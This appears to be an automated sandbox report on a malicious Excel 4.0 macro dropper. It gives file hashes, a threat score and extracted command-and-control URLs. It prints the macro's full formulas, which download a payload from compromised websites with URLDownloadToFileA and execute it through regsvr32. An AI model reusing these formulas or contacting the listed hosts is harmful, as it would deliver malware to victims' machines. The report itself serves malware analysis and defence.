Windows 7 deprecation

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General

  • Target

    3f0a7a00047edb02b477fce5c32a277fb5be70f82b05665429d07726423000fc

  • Size

    40KB

  • Sample

    241111-1496wa1mem

  • MD5

    ffb0c69b085e4f182f3aca1f73e6bf12

  • SHA1

    ae529a3a13c9aa9ce9a39cfad5a33f41ff304508

  • SHA256

    3f0a7a00047edb02b477fce5c32a277fb5be70f82b05665429d07726423000fc

  • SHA512

    107bd5f14c1d151ed3384d2467d32aefa242f8aeac151cbc7ccc73ae54462d681b6ba41b78eff209fac2d4a2f33f623dd7d63f852e9475767fbb4bf9281019c7

  • SSDEEP

    768:utby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:WbunC5iymqylND59V4jwmXc2Xy3

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

http://en.pachammer.com/wp-content/vIG/

http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/

http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/

http://www.aacitygroup.com/wp-content/EkY9/

https://theoutsourcedaccountant.com/images/nFikTQmP/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/","..\xda.ocx",0,0) =IF('EFEGVE'!F12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://en.pachammer.com/wp-content/vIG/","..\xda.ocx",0,0)) =IF('EFEGVE'!F14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/","..\xda.ocx",0,0)) =IF('EFEGVE'!F16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/","..\xda.ocx",0,0)) =IF('EFEGVE'!F18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.aacitygroup.com/wp-content/EkY9/","..\xda.ocx",0,0)) =IF('EFEGVE'!F20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://theoutsourcedaccountant.com/images/nFikTQmP/","..\xda.ocx",0,0)) =IF('EFEGVE'!F22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xda.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

Targets

    • Target

      3f0a7a00047edb02b477fce5c32a277fb5be70f82b05665429d07726423000fc

    • Size

      40KB

    • MD5

      ffb0c69b085e4f182f3aca1f73e6bf12

    • SHA1

      ae529a3a13c9aa9ce9a39cfad5a33f41ff304508

    • SHA256

      3f0a7a00047edb02b477fce5c32a277fb5be70f82b05665429d07726423000fc

    • SHA512

      107bd5f14c1d151ed3384d2467d32aefa242f8aeac151cbc7ccc73ae54462d681b6ba41b78eff209fac2d4a2f33f623dd7d63f852e9475767fbb4bf9281019c7

    • SSDEEP

      768:utby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:WbunC5iymqylND59V4jwmXc2Xy3

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks